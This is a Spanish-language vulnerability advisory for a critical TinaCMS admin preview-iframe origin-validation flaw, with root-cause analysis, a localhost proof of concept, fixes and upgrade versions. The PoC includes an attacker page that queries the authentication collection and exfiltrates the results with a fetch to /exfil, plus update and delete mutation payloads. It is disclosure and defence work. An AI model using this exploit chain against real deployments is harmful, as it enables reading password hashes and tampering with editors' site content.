Crítica

El iframe de vista previa del administrador de TinaCMS carga un origen controlado por el atacante desde el fragmento de URL

  • Publicada: 09.10.2026
  • Actualizado: 11.10.2026 10:29

Resumen

El panel de administración de TinaCMS construye su iframe de vista previa (<iframe src>) a partir del splat del router basado en hash (/~/*) sin comprobar que el valor se mantenga en el mismo origen. Un fragmento con una doble barra oblicua (#/~//attacker.example/p) se convierte en la URL relativa al protocolo //attacker.example/p, lo que provoca que el administrador incruste un sitio externo. Esa misma cadena sin validar deriva expectedOrigin, el único punto de anclaje de confianza para el canal postMessage entre el administrador y la vista previa, de modo que el frame del atacante es tratado como de confianza: puede enviar cualquier operación GraphQL, que el administrador ejecuta con el token del editor autenticado y devuelve al origen del atacante.

Un único enlace abierto por un editor con sesión iniciada permite a un atacante remoto no autenticado obtener acceso arbitrario de lectura y escritura a la API de contenido del sitio con los permisos de ese editor.

Detalles

Causa raíz: el splat del router se convierte en el origen del frame sin comprobación de mismo origen:

packages/tinacms/src/admin/index.tsx:16     HashRouter as Router,
packages/tinacms/src/admin/index.tsx:329      path='/~/*'
packages/tinacms/src/admin/index.tsx:173    const [url, setURL] = React.useState(`/${params['*']}`);
packages/tinacms/src/admin/index.tsx:176    const paramURL = `/${params['*']}`;
packages/@tinacms/app/src/preview.tsx:24        src={props.url}

El carácter / inicial está pensado para forzar una ruta relativa, pero react-router-dom@6.30.3 devuelve el splat con su propia barra oblicua inicial para /~//x, produciendo //x. El iframe no dispone del atributo sandbox y el bundle de administración no incluye CSP.

El anclaje de confianza se computa entonces a partir de ese mismo valor:

packages/@tinacms/app/src/lib/graphql-reducer.ts:209-212   getExpectedPreviewOrigin(url)
packages/@tinacms/app/src/lib/preview-origin.ts:22           return new URL(url, baseOrigin || undefined).origin;
packages/@tinacms/app/src/lib/preview-origin.ts:43-46        event.origin !== expectedOrigin -> reject

Ambas comprobaciones son superadas por el atacante: event.origin es expectedOrigin, y event.source es el frame cargado por el propio administrador.

El sondeo de corrección de URL de PreviewInner (packages/tinacms/src/admin/index.tsx:189-200) no recupera el frame: leer ref.current.contentWindow.location.href entre distintos orígenes genera una excepción no capturada SecurityError, por lo que setReportedURL nunca se ejecuta y no se realiza ninguna navigate() correctiva. La PoC adjunta incluye este efecto literalmente y el ataque se completa con éxito.

Sumidero (sink): la cadena GraphQL del atacante llega al cliente autenticado y el resultado se envía de vuelta al atacante:

packages/@tinacms/app/src/lib/graphql-reducer.ts:613-624   'open' handler; zod validates types only, not query content
packages/@tinacms/app/src/lib/graphql-reducer.ts:973-978   cms.api.tina.request(expandedQuery, { variables })
packages/@tinacms/app/src/lib/graphql-reducer.ts:497-505   postMessageToPreview(..., expectedOrigin)

expandQuery (packages/@tinacms/app/src/lib/expand-query.ts:3-18) no discrimina el tipo de operación, por lo que las mutaciones se procesan sin alteración.

Habilitado por defecto: packages/@tinacms/app/src/App.tsx:70 siempre pasa preview={Preview}, y packages/tinacms/src/admin/index.tsx:327 registra /~/* siempre que preview sea verdadero, por lo que la ruta existe en cada salida de tinacms build y en tinacms dev.

Nota sobre corrección incompleta: tinacms@3.9.3 / @tinacms/app@2.5.6 (PR #7056, c491fc5) incorporó la comprobación de origen en el emisor, pero nunca validó la URL contra la que compara dicha comprobación.

Base del rango afectado: Se probó únicamente tinacms@3.12.1 / @tinacms/app@2.5.12 (commit 0d38acf). Los rangos se indican como <= porque las líneas vulnerables son idénticas byte a byte en cada commit disponible; una clonación superficial de 123 commits, siendo el más antiguo 8a86ffa (2026-06-26), anterior a la versión de mitigación 3.9.3. Dado que no se obtuvieron etiquetas ni se probaron versiones anteriores, el límite inferior real no está determinado.

Corrección sugerida: normalizar el splat a una ruta del mismo origen antes de que se asigne a url (rechazar un prefijo / o \) y hacer que getExpectedPreviewOrigin rechace cualquier origen distinto de window.location.origin.

PoC

Segura, local y no destructiva. Dos orígenes en bucle local representan el sitio y el atacante; ningún tráfico sale del equipo y no se contacta con la API de contenido. La página víctima utiliza preview-origin.ts del repositorio byte a byte y reproduce PreviewInner/Preview línea por línea a partir de los archivos citados; cms.api.tina.request se reemplaza con un stub que devuelve un marcador para no interactuar con un backend real.

Entorno utilizado: Linux, Node v22.23.1, Google Chrome (/usr/bin/google-chrome) controlado mediante playwright@1.49.0.

Configuración

bash
git clone https://github.com/tinacms/tinacms.git tinacms-poc
cd tinacms-poc && git checkout 0d38acfdd23143384b8787d5d772b713fa7af163
REPO=$PWD

mkdir -p /tmp/tina-poc/victim /tmp/tina-poc/attacker && cd /tmp/tina-poc
npm init -y >/dev/null
npm i --ignore-scripts react@18.3.1 react-dom@18.3.1 react-router-dom@6.30.3 esbuild@0.25.0 playwright@1.49.0

cp "$REPO/packages/@tinacms/app/src/lib/preview-origin.ts" ./preview-origin.ts

victim/admin.tsx — PreviewInner de packages/tinacms/src/admin/index.tsx:170-210, Preview de packages/@tinacms/app/src/preview.tsx:10-26, y los cuatro pasos de graphql-reducer.ts (:209-212, :548-556, :613-624 + :973-978, :497-505):

tsx
import React from 'react';
import { createRoot } from 'react-dom/client';
import { HashRouter as Router, Route, Routes, useNavigate, useParams } from 'react-router-dom';
import { getExpectedPreviewOrigin, isFromTrustedPreviewOrigin, postMessageToPreview } from '../preview-origin';

const log = (m: string, x?: unknown) => console.log('[victim]', x === undefined ? m : `${m} ${JSON.stringify(x)}`);

// Stand-in for cms.api.tina.request (graphql-reducer.ts:977): in the real admin
// this is an authenticated call to the content API with the editor's token.
async function tinaRequest(query: string) {
  log('cms.api.tina.request() called with attacker query', query);
  return { data: { __POC_MARKER__: 'SIMULATED-AUTHENTICATED-CONTENT-API-RESPONSE' } };
}

function useGraphQLReducer(iframe: React.MutableRefObject<HTMLIFrameElement | null>, url: string) {
  const expectedOrigin = React.useMemo(() => getExpectedPreviewOrigin(url), [url]);       // :209-212
  React.useEffect(() => {
    log('expectedOrigin derived from preview url', { url, expectedOrigin });
    (window as any).__poc_expectedOrigin = expectedOrigin;
  }, [expectedOrigin, url]);

  const handleMessage = React.useCallback(async (event: MessageEvent<any>) => {
    if (!isFromTrustedPreviewOrigin({ event, expectedOrigin, peerWindow: iframe.current?.contentWindow })) return; // :548-556
    if (event.data.type === 'open') {                                                     // :613-624
      log('ACCEPTED "open" message from', event.origin);
      const expandedData = await tinaRequest(event.data.query);                           // :973-978
      postMessageToPreview(iframe.current?.contentWindow,
        { type: 'updateData', id: event.data.id, data: expandedData.data }, expectedOrigin); // :497-505
      log('posted query result to', expectedOrigin);
    }
  }, [expectedOrigin]);

  React.useEffect(() => {
    window.addEventListener('message', handleMessage);
    return () => window.removeEventListener('message', handleMessage);
  }, [handleMessage]);
}

const Preview = (props: { url: string; iframeRef: React.MutableRefObject<HTMLIFrameElement | null> }) => {
  useGraphQLReducer(props.iframeRef, props.url);
  return <iframe data-test='tina-iframe' id='tina-iframe' ref={props.iframeRef}
                 className='h-full w-full bg-white' src={props.url} />;   // preview.tsx:24
};

const PreviewInner = ({ preview }: { preview: any }) => {                  // admin/index.tsx:170-210
  const params = useParams();
  const navigate = useNavigate();
  const [url, setURL] = React.useState(`/${params['*']}`);
  const [reportedURL, setReportedURL] = React.useState<string | null>(null);
  const ref = React.useRef<HTMLIFrameElement>(null);
  const paramURL = `/${params['*']}`;
  React.useEffect(() => { if (reportedURL !== paramURL && paramURL) setURL(paramURL); }, [paramURL]);
  React.useEffect(() => { if ((reportedURL !== url || reportedURL !== paramURL) && reportedURL) navigate(`/~${reportedURL}`); }, [reportedURL]);
  React.useEffect(() => {                                                 // admin/index.tsx:189-200
    setInterval(() => {
      if (ref.current) {
        const url = new URL(ref.current.contentWindow?.location.href || '');
        if (url.origin === 'null') { return; }
        const href = url.href.replace(url.origin, '');
        setReportedURL(href);
      }
    }, 100);
  }, [ref.current]);
  React.useEffect(() => {
    log('iframe src computed from router splat', { "params['*']": params['*'], url });
    (window as any).__poc_iframeSrc = url;
  }, [url]);
  const PreviewCmp = preview;
  return <div><PreviewCmp url={url} iframeRef={ref} /></div>;
};

createRoot(document.getElementById('root')!).render(
  <Router>
    <Routes>
      <Route path='/~/*' element={<PreviewInner preview={Preview} />} />   {/* admin/index.tsx:329 */}
      <Route path='/' element={<div>admin dashboard</div>} />
    </Routes>
  </Router>
);

victim/index.html:

html
<!doctype html><html><head><title>TinaCMS admin (repro)</title></head>
<body><div id="root"></div><script type="module" src="/admin.js"></script></body></html>

attacker/evil.html:

html
<!doctype html><html><body>
<h1>attacker-controlled page framed by the TinaCMS admin</h1>
<script>
  parent.postMessage({ type: 'open', id: 'poc-1',
    query: 'query { collection(collection: "authentication") { documents { edges { node { ... on Document { _values } } } } } }',
    variables: {}, data: {} }, '*');
  window.addEventListener('message', (e) => {
    if (e.data && e.data.type === 'updateData') {
      fetch('/exfil?data=' + encodeURIComponent(JSON.stringify(e.data.data)), { mode: 'no-cors' });
    }
  });
</script></body></html>

run.cjs — sirve ambos orígenes, registra cada petición al servidor del atacante y ejecuta un fragmento de control y el fragmento manipulado:

js
const http=require('http'),fs=require('fs'),path=require('path'),{chromium}=require('playwright');
const VICTIM_PORT=8801, ATTACKER_PORT=8802, HERE=__dirname, attackerHits=[];
function serve(dir,port,onHit){const s=http.createServer((req,res)=>{const u=new URL(req.url,`http://127.0.0.1:${port}`);
 if(onHit)onHit(req.method+' '+u.pathname+u.search);
 if(u.pathname.startsWith('/exfil')){res.writeHead(204).end();return;}
 const f=path.join(dir,u.pathname==='/'?'/index.html':u.pathname);
 if(!f.startsWith(dir)||!fs.existsSync(f)){res.writeHead(404).end('nf');return;}
 res.writeHead(200,{'content-type':f.endsWith('.js')?'text/javascript':'text/html; charset=utf-8'});res.end(fs.readFileSync(f));});
 return new Promise(r=>s.listen(port,'127.0.0.1',()=>r(s)));}
(async()=>{const v=await serve(path.join(HERE,'victim'),VICTIM_PORT);
 const a=await serve(path.join(HERE,'attacker'),ATTACKER_PORT,h=>attackerHits.push(h));
 const browser=await chromium.launch({executablePath:'/usr/bin/google-chrome'});const results={};
 for(const scenario of ['control','attack']){attackerHits.length=0;
  const ctx=await browser.newContext();const page=await ctx.newPage();const logs=[];
  page.on('console',m=>logs.push(m.text()));
  const hash=scenario==='control'?'#/~/posts/hello-world':`#/~//127.0.0.1:${ATTACKER_PORT}/evil.html`;
  await page.goto(`http://127.0.0.1:${VICTIM_PORT}/index.html${hash}`);await page.waitForTimeout(2500);
  results[scenario]={hash,
   iframeSrc:await page.evaluate(()=>window.__poc_iframeSrc),
   expectedOriginTrustedByAdmin:await page.evaluate(()=>window.__poc_expectedOrigin),
   framesLoaded:page.frames().map(f=>f.url()),
   attackerServerHits:[...attackerHits],
   victimConsole:logs.filter(l=>l.startsWith('[victim]'))};
  await ctx.close();}
 await browser.close();v.close();a.close();console.log(JSON.stringify(results,null,2));})();

Ejecución

bash
cd /tmp/tina-poc
npx esbuild victim/admin.tsx --bundle --outfile=victim/admin.js --format=esm \
  --loader:.tsx=tsx --define:process.env.NODE_ENV='"production"'
node run.cjs

Salida observada (capturada textualmente)

js
{
  "control": {
    "hash": "#/~/posts/hello-world",
    "iframeSrc": "/posts/hello-world",
    "expectedOriginTrustedByAdmin": "http://127.0.0.1:8801",
    "framesLoaded": [
      "http://127.0.0.1:8801/index.html#/~/posts/hello-world",
      "http://127.0.0.1:8801/posts/hello-world"
    ],
    "attackerServerHits": [],
    "victimConsole": [
      "[victim] expectedOrigin derived from preview url {\"url\":\"/posts/hello-world\",\"expectedOrigin\":\"http://127.0.0.1:8801\"}",
      "[victim] iframe src computed from router splat {\"params['*']\":\"posts/hello-world\",\"url\":\"/posts/hello-world\"}"
    ]
  },
  "attack": {
    "hash": "#/~//127.0.0.1:8802/evil.html",
    "iframeSrc": "//127.0.0.1:8802/evil.html",
    "expectedOriginTrustedByAdmin": "http://127.0.0.1:8802",
    "framesLoaded": [
      "http://127.0.0.1:8801/index.html#/~//127.0.0.1:8802/evil.html",
      "http://127.0.0.1:8802/evil.html"
    ],
    "attackerServerHits": [
      "GET /evil.html",
      "GET /exfil?data=%7B%22__POC_MARKER__%22%3A%22SIMULATED-AUTHENTICATED-CONTENT-API-RESPONSE%22%7D"
    ],
    "victimConsole": [
      "[victim] expectedOrigin derived from preview url {\"url\":\"//127.0.0.1:8802/evil.html\",\"expectedOrigin\":\"http://127.0.0.1:8802\"}",
      "[victim] iframe src computed from router splat {\"params['*']\":\"/127.0.0.1:8802/evil.html\",\"url\":\"//127.0.0.1:8802/evil.html\"}",
      "[victim] ACCEPTED \"open\" message from \"http://127.0.0.1:8802\"",
      "[victim] cms.api.tina.request() called with attacker query \"query { collection(collection: \\\"authentication\\\") { documents { edges { node { ... on Document { _values } } } } } }\"",
      "[victim] posted query result to \"http://127.0.0.1:8802\""
    ]
  }
}

Salida vulnerable esperada — en attack: iframeSrc relativo al protocolo, expectedOriginTrustedByAdmin igual al origen del atacante, un frame servido por el atacante y registros de GET /evil.html y GET /exfil?data=... en el servidor del atacante. Todo confirmado.

Control — #/~/posts/hello-world mantiene el frame en el mismo origen, mantiene expectedOrigin en el origen de la víctima y no produce peticiones hacia el atacante. Este es el comportamiento que el fragmento manipulado debería tener una vez corregido.

Verificación adicional: las mutaciones del atacante superan expandQuery y validan contra un esquema real de Tina

bash
mkdir -p /tmp/tina-expand && cd /tmp/tina-expand
npm init -y >/dev/null && npm i --ignore-scripts graphql@16.8.1 esbuild@0.25.0
cp "$REPO/packages/@tinacms/app/src/lib/expand-query.ts" ./expand-query.ts
cat > t.ts <<'EOF'
import * as G from 'graphql'; import fs from 'fs'; import { expandQuery } from './expand-query';
const schema = G.buildSchema(fs.readFileSync(process.env.SCHEMA!, 'utf-8'));
const ops: Record<string,string> = {
  READ: `query { movieConnection { edges { node { _values } } } }`,
  MUTATE_UPDATE: `mutation { updateDocument(collection: "movie", relativePath: "movie1.json", params: {movie: {title: "pwned"}}) { __typename } }`,
  MUTATE_DELETE: `mutation { deleteDocument(collection: "movie", relativePath: "movie1.json") { __typename } }`,
};
for (const [n, op] of Object.entries(ops)) {
  const printed = G.print(expandQuery({ schema, documentNode: G.parse(op) }));
  const errs = G.validate(schema, G.parse(printed));
  console.log(`--- ${n} ---`);
  console.log('survives expandQuery + validates against the real Tina schema:', errs.length === 0);
  console.log('operation kept:', (G.parse(printed).definitions[0] as any).operation);
}
EOF
npx esbuild t.ts --bundle --platform=node --outfile=t.cjs --format=cjs >/dev/null
SCHEMA="$REPO/packages/@tinacms/graphql/src/spec/movies-with-datalayer/.tina/__generated__/schema.gql" node t.cjs

Salida observada:

--- READ ---
survives expandQuery + validates against the real Tina schema: true
operation kept: query
--- MUTATE_UPDATE ---
survives expandQuery + validates against the real Tina schema: true
operation kept: mutation
--- MUTATE_DELETE ---
survives expandQuery + validates against the real Tina schema: true
operation kept: mutation

Verificación adicional: comportamiento del splat del router

bash
mkdir -p /tmp/tina-rr && cd /tmp/tina-rr && npm init -y >/dev/null
npm i --ignore-scripts react-router-dom@6.30.3 react@18.3.1 react-dom@18.3.1
cat > t.cjs <<'EOF'
const { matchPath } = require('react-router-dom');
for (const p of ['/~/posts/hello','/~//evil.example','/~/%2F%2Fevil.example']) {
  const s = matchPath({ path: '/~/*' }, p)?.params['*'];
  console.log(JSON.stringify(p), '=> params["*"] =', JSON.stringify(s), '=> url =', JSON.stringify('/' + s));
}
EOF
node t.cjs

Salida observada:

"/~/posts/hello" => params["*"] = "posts/hello" => url = "/posts/hello"
"/~//evil.example" => params["*"] = "/evil.example" => url = "//evil.example"
"/~/%2F%2Fevil.example" => params["*"] = "//evil.example" => url = "///evil.example"

Alcance de la prueba: Se ejecutó y observó: la URL relativa al protocolo url, la carga del frame cross-origin, el establecimiento del origen del atacante como expectedOrigin, el código real isFromTrustedPreviewOrigin del repositorio aceptando el mensaje del atacante, la cadena de la operación del atacante alcanzando la función de petición, la respuesta enviada al origen del atacante y las mutaciones del atacante validando contra un esquema generado del repositorio. No ejecutado: peticiones a un entorno real de TinaCloud o backend autoalojado — cms.api.tina.request fue reemplazado por un stub deliberadamente para evitar contactar con servicios externos o escribir datos.

Limpieza

bash
rm -rf /tmp/tina-poc /tmp/tina-expand /tmp/tina-rr

Las tres pruebas de concepto se ejecutaron nuevamente tras redactar este informe; las salidas mostradas corresponden a dichas ejecuciones.

Impacto

Error de validación de origen que da lugar a un ataque de tipo confused-deputy sobre la API de contenido. Un atacante remoto no autenticado solo requiere que un editor autenticado en TinaCMS abra un enlace: la carga útil reside en el fragmento de la URL, por lo que nunca llega al servidor ni a sus registros. El atacante puede leer todo lo que el editor tenga permitido leer (incluyendo, en entornos autoalojados, la colección authentication con hashes de contraseñas PBKDF2) y realizar cualquier mutación permitida al editor (updateDocument, createDocument, deleteDocument), recibiendo los resultados en su propio origen. Se traspasan dos fronteras de seguridad: la política del mismo origen del navegador y la autorización de la API de contenido.

Afecta a: cualquier despliegue que sirva el bundle de administración de TinaCMS (salida de tinacms build o tinacms dev). Ninguna opción de configuración desactiva la ruta /~/*.

Créditos

  • Thai Son Dinh de VinSOC Labs (R&D)

Qué hacer

Actualice tinacms a la versión 3.14.0 o superior, y @tinacms/app a la versión 2.5.14 o superior.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm tinacms < 3.14.0 3.14.0
Paquete de npm @tinacms/app < 2.5.14 2.5.14

Referencias

Puntuación CVSS 9.3/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Debilidad (CWE)
CWE-346, CWE-441, CWE-601
Plataforma
npm
Paquete
tinacms, @tinacms/app
Publicada
09.10.2026
Actualizado
11.10.2026 10:29

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - GHSA-x34j-47hf-4xg7 - CC BY 4.0

Historial de vulnerabilidades: tinacms

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total
5
Primera → última
12.2025 10.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 1
  • Alta 3
  • Media 1

Divulgaciones por año

  1. 2025: 1
  2. 2026: 4
  1. El iframe de vista previa del administrador de TinaCMS carga un origen controlado por el atacante desde el fragmento de URL esta entrada
    Crítica · 9.3 CVE-2026-108261 < 3.14.0 3.14.0
  2. Alta · 7.4 CVE-2026-28791 < 2.1.7 2.1.7
  3. Alta CVE-2025-68278 < 3.1.1 3.1.1

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.